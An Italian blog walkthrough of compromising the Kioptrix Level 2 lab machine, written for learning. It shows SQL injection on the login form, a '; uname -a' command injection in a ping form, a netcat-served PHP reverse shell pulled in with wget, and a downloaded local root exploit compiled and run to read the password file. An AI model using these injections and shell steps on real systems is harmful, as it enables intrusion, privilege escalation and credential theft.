Imparare a sfruttare vulnerabilità: Kioptrix Livello 2

Tempo di lettura: 10 minuti

Dopo lo scorso articolo su Kioptrix, eccoci qui con il secondo livello! La macchina virtuale da scaricare è presente a questo indirizzo, mentre per l’installazione consiglio di guardare la guida del primo livello.

Per chiunque sia qui per la prima volta, consiglio oltre alla visione del livello 1, anche gli articoli sul Footprinting e sullo Scanning.

Scansione

Scansiono l’indirizzo IP locale della macchina virtuale con nmap e nikto, in modo da vedere quali porte sono aperte, e se c’è un modo per entrare e trovare la password del dispositivo (ricordo che non sto eseguendo una scansione anonima o stealth, ma utilizzo comandi abbastanza ‘invadenti’, i quali in una situazione reale potrebbero essere immediatamente scoperti).

Dopo aver trovato l’indirizzo IP locale della macchina (basta utilizzare il comando -sn di nmap) scansiono tutte le porte alla ricerca di quelle aperte

root@kali:~/Desktop# nmap -sTUV 192.168.1.104

Starting Nmap 7.12 ( https://nmap.org ) at 2016-07-30 13:27 CEST
Stats: 0:03:17 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 19.40% done; ETC: 13:43 (0:12:44 remaining)
Nmap scan report for 192.168.1.104
Host is up (0.049s latency).
Not shown: 1991 closed ports
PORT     STATE         SERVICE  VERSION
22/tcp   open          ssh      OpenSSH 3.9p1 (protocol 1.99)
80/tcp   open          http     Apache httpd 2.0.52 ((CentOS))
111/tcp  open          rpcbind  2 (RPC #100000)
443/tcp  open          ssl/http Apache httpd 2.0.52 ((CentOS))
631/tcp  open          ipp      CUPS 1.1
3306/tcp open          mysql    MySQL (unauthorized)
68/udp   open|filtered dhcpc
111/udp  open          rpcbind  2 (RPC #100000)
631/udp  open|filtered ipp
MAC Address: F0:7D:68:F5:B9:00 (D-Link)

Noto che c’è un servizio aperto (Apache) sulla porta 80, per cui con il browser digito l’indirizzo IP e trovo una schermata di login

loginkio2
loginkio2

Attacco SQL Injection

La prima cosa che mi viene in mente è effettuare un attacco bruteforce con hydra, ma dopo parecchi tentativi sembra che non si riesca ad entrare. Provo quindi a vedere se è possibile compiere sql injection nel form di login utilizzando Burp Suite.

BurpSuitekio2
BurpSuitekio2

Utilizzando la solita lista, seleziono “MySQL_MSSQL.fuzz” il quale contiene una lista di SQL injection abbastanza generici.

BurpListkio2
BurpListkio2

Faccio partire l’attacco e scopro che effettivamente è vulnerabile! Infatti sono riuscito ad entrare e mi trovo davanti un’altro form, questa volta un test che effettua ping.

Burpsqlkio2
Burpsqlkio2

Come prima, provo a cercare nella lista di file contenente gli attacchi ciò che potrebbe fare al caso mio, e dopo averne provati un paio senza risultato, scelgo “command-execution-unix.fuzz”, ossia una lista di comandi eseguibili per unix da testare nel form. Imposto Burp Suite e faccio partire di nuovo l’attacco

BurpSanitizekio2
BurpSanitizekio2

Come si può notare l’attacco ha funzionato, e mi vedo stampato il file contenente le password. Purtroppo è vuoto, provo a modificare il percorso inserendone altri noti ma sembra che non abbia i permessi necessari. Ma da questo punto in poi l’exploit sarà solo che in discesa. L’aver scoperto che da un semplice form si possono eseguire comandi diretti sulla macchina significa che potremo caricare qualsiasi file ed eseguirlo senza nessuna restrizione.

Effettuo l’exploit

Digito il comando

; uname -a

il quale ci permette di determinare la versione del kernel presente sulla macchina. Il punto e virgola iniziale serve per differenziare le operazioni. Come prima istruzione la macchina effettua un ping con la stringa vuota, mentre la seconda istruzione (quella che vogliamo che effettui) la esegue successivamente. Se non lo mettessi cercherebbe di riconoscere il comando come una ping ad un indirizzo IP, cosa che non ci porterebbe a nulla.

unamekio2
unamekio2

L’idea ora è quella di riuscire a creare una connessione tra la mia macchina e Kioptrix, caricando su di esso una backdoor. Kali ha alcune semplici backdoor da poter utilizzare in questi casi, si trovano in /usr/share/webshells/. Avendo a che fare con un server, seleziono il file php-reverse-shell.php presente nella cartella php e lo copio sul Desktop. Una reverse shell ti permette di collegarti ad una macchina e prendere possesso del suo terminale. Sarebbe stato possibile crearla anche utilizzando bash e per chi vuole provare si possono trovare informazioni utili a questo indirizzo.

Come sempre, ricordo di leggere gli script che utilizzate e cercate di comprenderli. In questo caso infatti, bisogna modificare un paio di righe che rappresentano l’ip locale del nostro dispositivo e la porta che vogliamo utilizzare (nel mio caso 31333).

shellkio2
shellkio2

Dopo averlo modificato apro una connessione sulla porta selezionata con questo comando

cat php-reverse-shell.php | nc -l -p 31333

In questo modo invio il contenuto del file a qualsiasi dispositivo che lo richiede sulla porta specificata tramite netcat, il quale ci permette di creare una comunicazione remota tra la nostra macchina e kioptrix.

Mentre è in attesa di una richiesta, digito nel form del sito il comando che mi permette di ricevere il file e copiarlo in una cartella che non richiede privilegi

wgetkio2
wgetkio2
Il comando è

; wget 192.168.1.111:31333 -O /tmp/rshell.php

Wget è un gestore di download a riga di comando. Nel nostro caso ho passato l’indirizzo IP della mia macchina e la porta scelta precedentemente, mentre l’opzione _-O _ci permette di selezionare la cartella di destinazione. In questo modo viene caricato il file rshell.php nella cartella tmp (vedrete infatti che sul terminale è stata avviata una connessione tra le due macchine)

uploadkio2
uploadkio2
Ora si può chiudere la connessione digitando “CTRL+c” sul terminale. Adesso bisogna fare in modo di avviare quell’applicazione php, eseguendo di nuovo netcat

nc -l -p 31333

e sul form eseguiamo il file appena caricato

exphpkio2
exphpkio2
Sul terminale si può notare che siamo riusciti ad entrare nella macchina, ma senza nessun permesso, quindi ancora non riusciamo a vedere le password.

exploitokkio2
exploitokkio2
Ora bisogna riuscire ad ottenere i privilegi di root (privilege escalation) e aprire finalmente il file con le password. Usiamo searchsploit per trovare una vulnerabilità
rootexplkio2
rootexplkio2
**N.B.:**Io scelgo il 9542.c poichè già lo conoscevo. Vi consiglio caldamente di provarne altri, non necessariamente solo questo potrebbe funzionare. Per caricarlo utilizziamo un metodo molto simile a quello precedente, solo che stavolta procederemo da terminale, poichè abbiamo l’accesso. Dal mio dispositivo eseguo questi comandi

root@kali:# service apache2 start
root@kali:# cp /usr/share/exploitdb/platforms/linux/local/9542.c /var/www/html

ossia avvio il server apache che mi permetterà (dalla macchina Kioptrix) di eseguire l’exploit e copio il file dentro la cartella del server. Dal terminale con cui controllo il dispositivo invece digito

sh-3.00$ wget http://192.168.1.111/9542.c   /*ossia scarico il file appena copiato sul mio server*/
--12:38:51--  http://192.168.1.111/9542.c
           => `9542.c'
Connecting to 192.168.1.111:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,645 (2.6K) [text/x-csrc]

    0K ..                                                    100%    2.96 MB/s

12:38:51 (2.96 MB/s) - `9542.c' saved [2645/2645]

sh-3.00$ gcc 9542.c  -o a.out           /*compilo il file c */
sh-3.00$ chmod 777 a.out                /*cambio i permessi, altrimenti non lo esegue*/
sh-3.00$ ./a.out                        /*eseguo il file*/
sh: no job control in this shell

Per vedere se ha funzionato, controllo chi rappresento in questo momento e cerco di visualizzare il file di password tanto agognato

gotrootkio2
gotrootkio2

Ed ecco che siamo riusciti a guadagnare l’accesso al root. Ora possiamo cambiare la password del sistema e accedervi oppure passare il file contenente le password a John che proverà a craccarle (sarei propenso alla prima, visto che non sappiamo quanto possono essere complesse)

Conclusioni

Questo livello era decisamente più complesso rispetto allo scorso, in quanto dovevamo effettuare più passaggi. Ricapitolando abbiamo eseguito:

  1. una scansione delle porte aperte con nmap;
  2. SQL Injection con Burp Suite per superare la prima barriera del login;
  3. esecuzione di una serie di comandi nel form per vedere se era programmato male;
  4. creazione di una connessione remota tra la nostra macchina e Kioptrix;
  5. caricamento prima di una reverse shell e successivamente uno script per aumentare i nostri privilegi guadagnando cosi l’accesso a root;
  6. stampa del file di password e successivo cambiamento di password o cracking delle stesse.

Spero di essere riuscito a spiegare dettagliatamente ogni passaggio, per ogni dubbio commentate e sarò ben lieto di rispondervi!